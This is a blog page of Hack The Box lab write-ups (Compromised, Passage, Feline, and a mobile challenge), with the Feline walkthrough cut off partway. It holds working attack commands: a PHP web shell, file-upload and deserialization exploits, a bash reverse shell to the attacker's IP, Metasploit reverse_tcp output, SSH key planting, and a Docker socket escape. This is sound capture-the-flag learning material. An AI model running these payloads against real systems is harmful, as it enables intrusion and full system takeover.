Ikonw

HTB Compromised Writeup

image-20200917153421555

Author: Ikonw

Nmap Scan:

# Nmap 7.80 scan initiated Thu Sep 17 12:32:35 2020 as: nmap -Pn -sCV -p22,80 -oN nmap/Full_10.10.10.207.nmap 10.10.10.207
Nmap scan report for 10.10.10.207
Host is up (0.13s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6e:da:5c:8e:8e:fb:8e:75:27:4a:b9:2a:59:cd:4b:cb (RSA)
| 256 d5:c5:b3:0d:c8:b6:69:e4:fb:13:a3:81:4a:15:16:d2 (ECDSA)
|_ 256 35:6a:ee:af:dc:f8:5e:67:0d:bb:f3:ab:18:64:47:90 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Legitimate Rubber Ducks | Online Store
|_Requested resource was http://10.10.10.207/shop/en/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Sep 17 12:32:47 2020 -- 1 IP address (1 host up) scanned in 12.01 seconds

Port 80 webserver was a online store

As usual, launch gobuster enumerate potential directories

image-20200917153449369

Found a backup directory, I believe it’s the source code for the web

image-20200917153509156

search for the keyword username to look for potential plaintext username or hard coded password

grep -R 'username|password' |grep -v 'jquery'

and we found login.php have suspicious file_put_contents

if (!empty(user::$data['id'])) notices::add('notice', language::translate('text_already_logged_in', 'You are already logged in'));

if (isset($_POST['login'])) {
//file_put_contents("./.log2301c9430d8593ae.txt", "User: " . $_POST['username'] . " Passwd: " . $_POST['password']);
user::login($_POST['username'], $_POST['password'], $redirect_url, isset($_POST['remember_me']) ? $_POST['remember_me'] : false);
}

Navigate to the location and we got the user and passwd

admin:theNextGenSt0r3!~

image-20200917153549898

Login to the authentication portal, we got the LiteCart version number

image-20200917153639177

And yeah, we got the poc

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
LiteCart 2.1.2 - Arbitrary File Upload | php/webapps/45267.py
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------

The initial exploit was not able to work, it was able to create a php file, but system seems disable. Tried different shell execution function like shell_exec didnt work either.

<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); } ?>

Instead of continuing try for luck, phpinfo() will give us what function is disabled. And we got tons of function being disabled

image-20200918141630991

After research, found a php script able to bypass the restriction

PHP 7.0-7.3 disable_functions bypass

Modified the script for the pwn function

pwn($_REQUEST['c']);

Next modify the litecart poc

f = open('exploit.php','r')
data = f.read()
files = {
'vqmod': (rand + ".php",data, "application/xml"),
'token':one,
'upload':(None,"Upload")
}

and we manage to gain rce

image-20200918142412690

After trying hard to I found it seems www-data is very restricted, only very few command able to execute. I didnt manage to get a proper reverse shell.

After long enumeration

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
sysadmin:x:1000:1000:compromise:/home/sysadmin:/bin/bash
mysql:x:111:113:MySQL Server,,,:/var/lib/mysql:/bin/bash
red:x:1001:1001::/home/red:/bin/false

I actually found that, mysql is a user. Went back to the initial foothold, I manage to find the mysql root username and password

// Database
define('DB_TYPE', 'mysql');
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'root');
define('DB_PASSWORD', 'changethis');
define('DB_DATABASE', 'ecom');
define('DB_TABLE_PREFIX', 'lc_');
define('DB_CONNECTION_CHARSET', 'utf8');
define('DB_PERSISTENT_CONNECTIONS', 'false');

and we got the creds for mysql root:changethis. We can launch mysql client, execute commands to write our ssh public key to authorized_keys

image-20200918144023178

yeah, we manage to get code execution for user mysql

mysql -u root -pchangethis -e "SELECT exec_cmd('echo sshxxxxxxxxxxx' > /var/lib/mysql/.ssh/authorized_keys)"

One thing to note here, you have to encode the + into %2B else it will be shown as a whitespace in authorized_keys file

Last login: Thu Sep  3 11:52:44 2020 from 10.10.14.2
mysql@compromised:~$

and we are in using ssh.

After more enumeration

image-20200918161643308

we found a new password 3*NLJE32I$Fe

it turn up to be sysadmin ‘s password

su and we got the user.txt

Root

We found a suspicious file .pam_unix.so

Use ghidra to reverse it.

in pam_sm_authenticate

we found some backdoor string

image-20200918175358088

convert the unsigned-hex to char sequence

image-20200918175715611

and we got the password zlke~U3Env82m2- with a null behind

root@compromised:~# whoami && hostname
root
compromised



root

hackthebox
Continue
HTB::Challenge [Mobile] Cat

image-20200911134041620

After extracting the file from zip, we got a Andriod Backup

Upon google, we found a way to extract the file

( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 backup.ab ) | tar xfvz -

and we got 2 folders apps and shared

and we found this picture, the flag is at the bottom of the paper

image-20200911134438299

HTB{ThisBackupIsUnprotected}

hackthebox-challenge mobile
Continue
HTB Passage Writeup

image-20200906132505581

Nmap Scan

# Nmap 7.80 scan initiated Sun Sep  6 12:17:03 2020 as: nmap -Pn -sCV -p22,80 -oN nmap/Full_10.129.5.22.nmap 10.129.5.22
Nmap scan report for 10.129.5.22
Host is up (0.26s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
| 256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
|_ 256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Passage News
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Sep 6 12:17:20 2020 -- 1 IP address (1 host up) scanned in 16.72 seconds

We found the site has implement fail2ban, which it will block certain IP address if it touches the threshold, gobuster might not work here.

image-20200906132744866

http://www.passage.htb/cutenews

Version CuteVews 2.1.2 , rating more towards CVE

image-20200906132844233

image-20200906132903154

Use searchsploit

┌──(root💀kali)-[/opt/nmapAutomator/10.129.5.22/nmap]
└─# searchsploit cutenews | grep 2.1.2
CuteNews 2.1.2 - 'avatar' Remote Code Execution (Metasploit) | php/remote/46698.rb
CuteNews 2.1.2 - Arbitrary File Deletion | php/webapps/48447.txt
CuteNews 2.1.2 - Authenticated Arbitrary File Upload | php/webapps/48458.txt

Found Metasploit module, msfconsole was not able to search the module, therefore we have to add it manually.

cp 46698.rb /usr/share/metasploit-framework/modules/exploits/linux/http/46698.rb

and we will have error saying out file unable to load. Because there’s some error in this ruby file (Why offsec would keep bad module ?)

'References' =>
[
['URL', 'http://pentest.com.tr/exploits/CuteNews-2-1-2-Remote-Code-Execution-Metasploit.html'], // <---- Add a comma here to fix
['URL', 'http://cutephp.com'] # Official Website

First, we have to register a account

image-20200906134157017

image-20200906134206315

Next, open up msfconsole, load the module we just added

reload_all

And this is our options

msf5 exploit(linux/http/46698) > options

Module options (exploit/linux/http/46698):

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD ikonw no Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.129.5.22 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /CuteNews yes Base CutePHP directory path
USERNAME ikonw yes Username to authenticate with
VHOST no HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.14.6 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Automatic

msf5 exploit(linux/http/46698) > run

[*] Started reverse TCP handler on 10.10.14.6:4444
[*] http://10.129.5.22:80 - CuteNews is 2.1.2
[+] Authentication was successful with user: ikonw
[*] Trying to upload ouriwixb.php
[+] Upload successfully.
[*] Sending stage (38288 bytes) to 10.129.5.22
[*] Meterpreter session 1 opened (10.10.14.6:4444 -> 10.129.5.22:37850) at 2020-09-06 13:02:44 +0800

and we got the www-data user.

We found 2 user

nadav and paul

www-data@passage:/home$ ls
ls
nadav paul

Went back to web directory for more enumeration, try to see if any config file stores the users cred

image-20200906151237004

Along the way we find out that CuteNews does not have database, all it’s data are store in PHP.

For convivence, I zip the whole web folder and download it to local for more analysis.

in cdata/users folder we found some base64

┌──(root💀kali)-[~/…/passage/CuteNews/cdata/users]
└─# ls
09.php 16.php 32.php 42.php 5d.php 6c.php 73.php 7a.php 97.php b0.php c1.php d4.php d6.php fb.php lines
0a.php 21.php 41.php 52.php 66.php 6e.php 77.php 8f.php 98.php b8.php c8.php d5.php e0.php fc.php users.txt


┌──(root💀kali)-[~/…/passage/CuteNews/cdata/users]
└─# cat 09.php
<?php die('Direct call - access denied'); ?>
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTY6InBhdWxAcGFzc2FnZS5odGIiO3M6MTA6InBhdWwtY29sZXMiO319

We extract out all the base64 hash and decrypt it at one

┌──(root💀kali)-[~/…/passage/CuteNews/cdata/users]
└─# cat * | grep -v '<?php'
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTY6InBhdWxAcGFzc2FnZS5odGIiO3M6MTA6InBhdWwtY29sZXMiO319
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5ODgyOTgzMztzOjY6ImVncmU1NSI7fX0=
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6ImVncmU1NUB0ZXN0LmNvbSI7czo2OiJlZ3JlNTUiO319
YToxOntzOjQ6Im5hbWUiO2E6MTp7czo1OiJhZG1pbiI7YTo4OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMDQ3IjtzOjQ6Im5hbWUiO3M6NToiYWRtaW4iO3M6MzoiYWNsIjtzOjE6IjEiO3M6NToiZW1haWwiO3M6MTc6Im5hZGF2QHBhc3NhZ2UuaHRiIjtzOjQ6InBhc3MiO3M6NjQ6IjcxNDRhOGI1MzFjMjdhNjBiNTFkODFhZTE2YmUzYTgxY2VmNzIyZTExYjQzYTI2ZmRlMGNhOTdmOWUxNDg1ZTEiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg3OTg4IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIyIjt9fX0=
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzI4MTtzOjk6InNpZC1tZWllciI7fX0=
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTc6Im5hZGF2QHBhc3NhZ2UuaHRiIjtzOjU6ImFkbWluIjt9fQ==
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6ImtpbUBleGFtcGxlLmNvbSI7czo5OiJraW0tc3dpZnQiO319
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzIzNjtzOjEwOiJwYXVsLWNvbGVzIjt9fQ==
YToxOntzOjQ6Im5hbWUiO2E6MTp7czo5OiJzaWQtbWVpZXIiO2E6OTp7czoyOiJpZCI7czoxMDoiMTU5MjQ4MzI4MSI7czo0OiJuYW1lIjtzOjk6InNpZC1tZWllciI7czozOiJhY2wiO3M6MToiMyI7czo1OiJlbWFpbCI7czoxNToic2lkQGV4YW1wbGUuY29tIjtzOjQ6Im5pY2siO3M6OToiU2lkIE1laWVyIjtzOjQ6InBhc3MiO3M6NjQ6IjRiZGQwYTBiYjQ3ZmM5ZjY2Y2JmMWE4OTgyZmQyZDM0NGQyYWVjMjgzZDFhZmFlYmI0NjUzZWMzOTU0ZGZmODgiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg1NjQ1IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIyIjt9fX0=
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzA0NztzOjU6ImFkbWluIjt9fQ==
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6InNpZEBleGFtcGxlLmNvbSI7czo5OiJzaWQtbWVpZXIiO319
YToxOntzOjQ6Im5hbWUiO2E6MTp7czoxMDoicGF1bC1jb2xlcyI7YTo5OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMjM2IjtzOjQ6Im5hbWUiO3M6MTA6InBhdWwtY29sZXMiO3M6MzoiYWNsIjtzOjE6IjIiO3M6NToiZW1haWwiO3M6MTY6InBhdWxAcGFzc2FnZS5odGIiO3M6NDoibmljayI7czoxMDoiUGF1bCBDb2xlcyI7czo0OiJwYXNzIjtzOjY0OiJlMjZmM2U4NmQxZjgxMDgxMjA3MjNlYmU2OTBlNWQzZDYxNjI4ZjQxMzAwNzZlYzZjYjQzZjE2ZjQ5NzI3M2NkIjtzOjM6Imx0cyI7czoxMDoiMTU5MjQ4NTU1NiI7czozOiJiYW4iO3M6MToiMCI7czozOiJjbnQiO3M6MToiMiI7fX19
YToxOntzOjQ6Im5hbWUiO2E6MTp7czo5OiJraW0tc3dpZnQiO2E6OTp7czoyOiJpZCI7czoxMDoiMTU5MjQ4MzMwOSI7czo0OiJuYW1lIjtzOjk6ImtpbS1zd2lmdCI7czozOiJhY2wiO3M6MToiMyI7czo1OiJlbWFpbCI7czoxNToia2ltQGV4YW1wbGUuY29tIjtzOjQ6Im5pY2siO3M6OToiS2ltIFN3aWZ0IjtzOjQ6InBhc3MiO3M6NjQ6ImY2NjlhNmY2OTFmOThhYjA1NjIzNTZjMGNkNWQ1ZTdkY2RjMjBhMDc5NDFjODZhZGNmY2U5YWYzMDg1ZmJlY2EiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg3MDk2IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIzIjt9fX0=
YToxOntzOjQ6Im5hbWUiO2E6MTp7czo2OiJlZ3JlNTUiO2E6MTE6e3M6MjoiaWQiO3M6MTA6IjE1OTg4Mjk4MzMiO3M6NDoibmFtZSI7czo2OiJlZ3JlNTUiO3M6MzoiYWNsIjtzOjE6IjQiO3M6NToiZW1haWwiO3M6MTU6ImVncmU1NUB0ZXN0LmNvbSI7czo0OiJuaWNrIjtzOjY6ImVncmU1NSI7czo0OiJwYXNzIjtzOjY0OiI0ZGIxZjBiZmQ2M2JlMDU4ZDRhYjA0ZjE4ZjY1MzMxYWMxMWJiNDk0YjU3OTJjNDgwZmFmN2ZiMGM0MGZhOWNjIjtzOjQ6Im1vcmUiO3M6NjA6IllUb3lPbnR6T2pRNkluTnBkR1VpTzNNNk1Eb2lJanR6T2pVNkltRmliM1YwSWp0ek9qQTZJaUk3ZlE9PSI7czozOiJsdHMiO3M6MTA6IjE1OTg4MzQwNzkiO3M6MzoiYmFuIjtzOjE6IjAiO3M6NjoiYXZhdGFyIjtzOjI2OiJhdmF0YXJfZWdyZTU1X3Nwd3ZndWp3LnBocCI7czo2OiJlLWhpZGUiO3M6MDoiIjt9fX0=
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzMwOTtzOjk6ImtpbS1zd2lmdCI7fX0=

image-20200906151626095

we can see that is all serialized objects.

array (
'name' =>
array (
'admin' =>
array (
'id' => '1592483047',
'name' => 'admin',
'acl' => '1',
'email' => 'nadav@passage.htb',
'pass' => '7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1',
'lts' => '1592487988',
'ban' => '0',
'cnt' => '2',
),
),
)

it contains email and password hash.

went to hash.org and we know it’s a sha256 hash.

we collect all the hashes

7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1
4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88
e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca
4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc

and we use john and rockyou to decrypt it

┌──(root💀kali)-[~/Desktop/hackthebox/Linux/passage]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-sha256 password
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-SHA256 [SHA256 128/128 AVX 4x])
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
atlanta1 (?)
1g 0:00:00:01 DONE (2020-09-06 15:08) 0.8403g/s 12053Kp/s 12053Kc/s 48240KC/s (454579)..*7¡Vamos!
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed

we got the password atlanta1

we manage su to paul account

paul@passage:/var/www/html/CuteNews/cdata$ whoami
whoami
paul
paul@passage:/var/www/html/CuteNews/cdata$ cd ~
cd ~
paul@passage:~$ ls
ls
Desktop Downloads Music Public user.txt
Documents examples.desktop Pictures Templates Videos
paul@passage:~$ cat user.txt
cat user.txt
3f0dfa31752b3222428868b631ebe589

After some enumeration

authorized_keys only have one nadav value. That means key belongs nadav. This key can access to both nadav and paul

paul@passage:~/.ssh$ cat authorized_keys 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzXiscFGV3l9T2gvXOkh9w+BpPnhFv5AOPagArgzWDk9uUq7/4v4kuzso/lAvQIg2gYaEHlDdpqd9gCYA7tg76N5RLbroGqA6Po91Q69PQadLsziJnYumbhClgPLGuBj06YKDktI3bo/H3jxYTXY3kfIUKo3WFnoVZiTmvKLDkAlO/+S2tYQa7wMleSR01pP4VExxPW4xDfbLnnp9zOUVBpdCMHl8lRdgogOQuEadRNRwCdIkmMEY5efV3YsYcwBwc6h/ZB4u8xPyH3yFlBNR7JADkn7ZFnrdvTh3OY+kLEr6FuiSyOEWhcPybkM5hxdL9ge9bWreSfNC1122qq49d nadav@passage

That means, nadav might have paul’s public key.

We get the id_rsa key from paul and we are in

┌──(root💀kali)-[~/Desktop/hackthebox/Linux/passage]
└─# ssh -i id_rsa nadav@10.129.5.22
load pubkey "id_rsa": invalid format
Last login: Sun Sep 6 00:21:36 2020 from 10.10.14.6
nadav@passage:~$

Root

After some enumeration from process list, we discover d-bus usbcreator is vulnerable to privilege escalation

USBCreator D-Bus Privilege Escalation in Ubuntu Desktop

We can directly overwrite arbitary files on the file system as root.

Generate our own ssh key and write it to a file called ssh_key

nadav@passage:~$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCuSKqfg/WNLTFhnw+oY9nBwgoBZm4pRY0ZJHBykTQ9tU2XAR2AE1Hqzkqho7D1/b1sfSLOM1h53vxHzMewMO+xGxQ4n3xdoQmHy+BUJ8igkFlG630Jbu6AOJPU2vigmqr9rxdPSZCk5443tp8p4se2C9k7mOoYNZtRsHTuvq4uHOCOvlIaehIGDiI2zoatklvWdQ4dUDERM4gKo5U4VJ05DteQydkQuBKRTx4zYnO0+Tepkk424Q6aCaalwTfjFJTpEYRMLQrK6sGcijDJL2U/gHIjah3o8bR6aA5jy40P+3mFwMTW2lKAz+dhuyrtrBkvbiDeyrXBxAiDq/G5aiMTBVQA9vrfl0fpUGA2gY8/VqcuJ0cKWhSc3pzLzHO8dnElQD7+VCnJqRsxKjRMngJ5zJmyoIF/DRQZ2klnnW1chrFhi+kmegJuiQACjQqMiG8xgFJqJqy/jKbMMhNoul1y21Dx3de/K4c1LBsvYd0OGeckbLk7KDbxQ0snnVzKLDU= ikonw" > ssh_key

Next called the dbus to overwrite to root’s authorized_keys

nadav@passage:~$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /home/nadav/ssh_key /root/.ssh/authorized_keys true
()

and we got root

┌──(root💀kali)-[~/.ssh]
└─# ssh -i id_rsa root@10.129.5.22 127 ⨯
Last login: Sun Sep 6 02:23:55 2020 from 10.10.14.6
root@passage:~# cat root.txt && whoami && hostname
ad8b45d6ef52d901382e54b0d3ecb4ad
root
passage



root




root

hackthebox
Continue
HTB Feline Writeup

image-20200902152351473

Author: Ikonw

Nmap scan:

Making a script scan on all ports

Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-31 06:52 EDT
Nmap scan report for 10.10.10.205
Host is up (0.0066s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
8080/tcp open http Apache Tomcat 9.0.27
|_http-title: VirusBucket
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.25 seconds

The web seems something related to online malware analyze?

only service are available

Found out script.js is loaded

image-20200902134557499


let photo = document.getElementById("uploadFile").files[0];
let req = new XMLHttpRequest();
let email = document.getElementById("email").value;
let formData = new FormData();

formData.append("image", photo);

await fetch('/upload.jsp?email=' + email , { method: "POST", body: formData})
.then(response=>response.text())
.then(data=>{
if(data.includes("successfully")) {
document.getElementById("msg").innerText = "Upload successful! The report will be sent via e-mail.";
}
else {
document.getElementById("msg").innerText = "File upload failed";
}
})
.catch(function(error) {
document.getElementById("msg").innerText = "File upload failed";
});

Not too interesting, it fetch the upload.jsp

However if we upload an empty filename, it will cause the jsp to obtain an error. We found out the upload directory address /opt/samples/uploads

the upload directory is not within the web directory, I have no way to execute malicious payload and execute it through URL.

image-20200901202222343

After viewing the rating, it is a CVE-like Box. I don’t see any CMS or suspicious port

image-20200902135026807

So I went to google about the Apache Tomcat 9.0.27

And I found CVE-2020-9484

It has some prerequisites for this vulnerability

- The persistentManager is enabled and it's using a *FileStore* (Not too sure if this is enabled)
- The attacker is able to upload a file with arbitrary content, has control over the filename and knows the location where it is uploaded (We know the uploaded directory)
- There are gadgets in the *classpath* that can be used for a java deserialization attack

Docker environment

First, we have to generate a deserialization object session using ysoserial

Do take note that, due to Runtime.getRunTime().exec the arguments with spaces are broken by the StringTokenizer class.

We have to use base64 to encoding to reduce these issues

Reference

image-20200901215420440

┌──(root💀kali)-[~/Desktop/docker/ysoserial]
└─# java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections2 "$command" > ~/Desktop/hackthebox/Linux/feline/xing.session
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
┌──(root💀kali)-[~]
└─# curl 'http://10.129.6.132:8080/upload.jsp' -H 'Cookie: JSESSIONID=../../../../../../../../opt/samples/uploads/xing'

Using curl to pass the JSESSIONID and trigger the malicious session we sent. And we got the shell back.

image-20200901220111194

The user flag located at /home/tomcat/user.txt

Root

Via enumeration of network connection we found out 2 suspicious port 4506 and 4505

tomcat@VirusBucket:/opt/tomcat$ netstat -ntlp
netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:4505 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:4506 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33443 0.0.0.0:* LISTEN -
tcp6 0 0 :::8080 :::* LISTEN 975/java
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 127.0.0.1:8005 :::* LISTEN 975/java

After google we found it’s saltstack

CVE-2020-11651

And we manage to find the CVE, after we upload the poc, we found the victim doesn’t have python3 salt module.

We do a port forwarding using chisel

Chisel Github

Client>>  ./chisel_linux client <your ip>:<Port> -R:4506:127.0.0.1:4506
Server>> ./chisel_linux server -p <Port> --reverse

image-20200902142929771

Now we have the target port 4506 forward to our port 7777

Run the POC and execute the bash reverse shell command. And we got the shell back

python3 cve_2020-11651.py --exec 'bash -c "bash -i >& /dev/tcp/10.10.14.16/1234 0>&1"'

image-20200902143247467

However we didnt root the box just so easy. We have the escape the docker environment, get to the host.

root@2d24bf61767c:~# cat todo.txt
cat todo.txt
- Add saltstack support to auto-spawn sandbox dockers through events.
- Integrate changes to tomcat and make the service open to public.

After some enumeration, at the .bash_history

cat todo.txt 
printf -- '- Add saltstack support to auto-spawn sandbox dockers through events.\n- Integrate changes to tomcat and make the service open to public.\n' > todo.txt
cd /home/tomcat
cat /etc/passwd
exit
cd /root/
ls
cat todo.txt
ls -la /var/run/
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
exit

/var/run/docker.sock is used in this case.

docker.sock is a unix socket of docker daemon listens on default, it can be used to communicate with the daemon from within a container.

We are allow to send commands through the docker.sock to the docker daemon though API.

that means, we can create a new docker which volume bind to the whole host folder and execute malicious commands.

Escaping the Whale: Things you probably shouldn’t do with Docker (Part 1)

According the reference, first we have to get the current docker image

curl -XGET --unix-socket /var/run/docker.sock http://localhost/containers/json
 {
"Id":"2d24bf61767ce2a7a78e842ebc7534db8eb1ea5a5ec21bb735e472332b8f9ca2",
"Names":[
"/saltstack"
],
"Image":"188a2704d8b0",
"ImageID":"sha256:188a2704d8b01d4591334d8b5ed86892f56bfe1c68bee828edc2998fb015b9e9",
"Command":"/usr/bin/dumb-init /usr/local/bin/saltinit",
"Created":1593520419,
"Ports":[
{
"IP":"127.0.0.1",
"PrivatePort":4505,
"PublicPort":4505,
"Type":"tcp"
},
{
"IP":"127.0.0.1",
"PrivatePort":4506,
"PublicPort":4506,
"Type":"tcp"
},
{
"IP":"127.0.0.1",
"PrivatePort":8000,
"PublicPort":8000,
"Type":"tcp"
},
{
"PrivatePort":22,
"Type":"tcp"
}
],
"Labels":{

},
"State":"running",
"Status":"Up 13 hours",
"HostConfig":{
"NetworkMode":"default"
},
"NetworkSettings":{
"Networks":{
"bridge":{
"IPAMConfig":null,
"Links":null,
"Aliases":null,
"NetworkID":"c344406a0931eb00e8d81114b992959ed104064affada4bc6932702e39c45141",
"EndpointID":"a5e320e6a582086035e03f58b570d922c3c7c8be7f782222b47f7421b9bca4e5",
"Gateway":"172.17.0.1",
"IPAddress":"172.17.0.2",
"IPPrefixLen":16,
"IPv6Gateway":"",
"GlobalIPv6Address":"",
"GlobalIPv6PrefixLen":0,
"MacAddress":"02:42:ac:11:00:02",
"DriverOpts":null
}
}
},
"Mounts":[
{
"Type":"bind",
"Source":"/var/run/docker.sock",
"Destination":"/var/run/docker.sock",
"Mode":"",
"RW":true,
"Propagation":"rprivate"
}
]
}
]

Now we have the docker image name

Let’s create a json configuration file

echo -e '{"Image":"188a2704d8b0","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/root","Target":"/host_etc"}]}' > container.json

and we create the image using the container.json configuration file

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "$(cat container.json)" http://localhost/containers/create

image-20200902145656343

Next start our malicious container

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/2aba/start

replace the 32d862 to the image id your created

after start the docker,use socat connect to the docker socket, however the machine doesnt have socat, we have to upload our own socat binary

root@2d24bf61767c:~# which wget
which wget
/usr/bin/wget
root@2d24bf61767c:~# which socat
which socat
root@2d24bf61767c:~# ls
ls
todo.txt
root@2d24bf61767c:~# wget 10.10.14.16:1337/socat
wget 10.10.14.16:1337/socat
--2020-09-02 07:14:12-- http://10.10.14.16:1337/socat
Connecting to 10.10.14.16:1337... connected.
HTTP request sent, awaiting response... 200 OK
Length: 375176 (366K) [application/octet-stream]
Saving to: ‘socat’

0K .......... .......... .......... .......... .......... 13% 2.99M 0s
50K .......... .......... .......... .......... .......... 27% 6.38M 0s
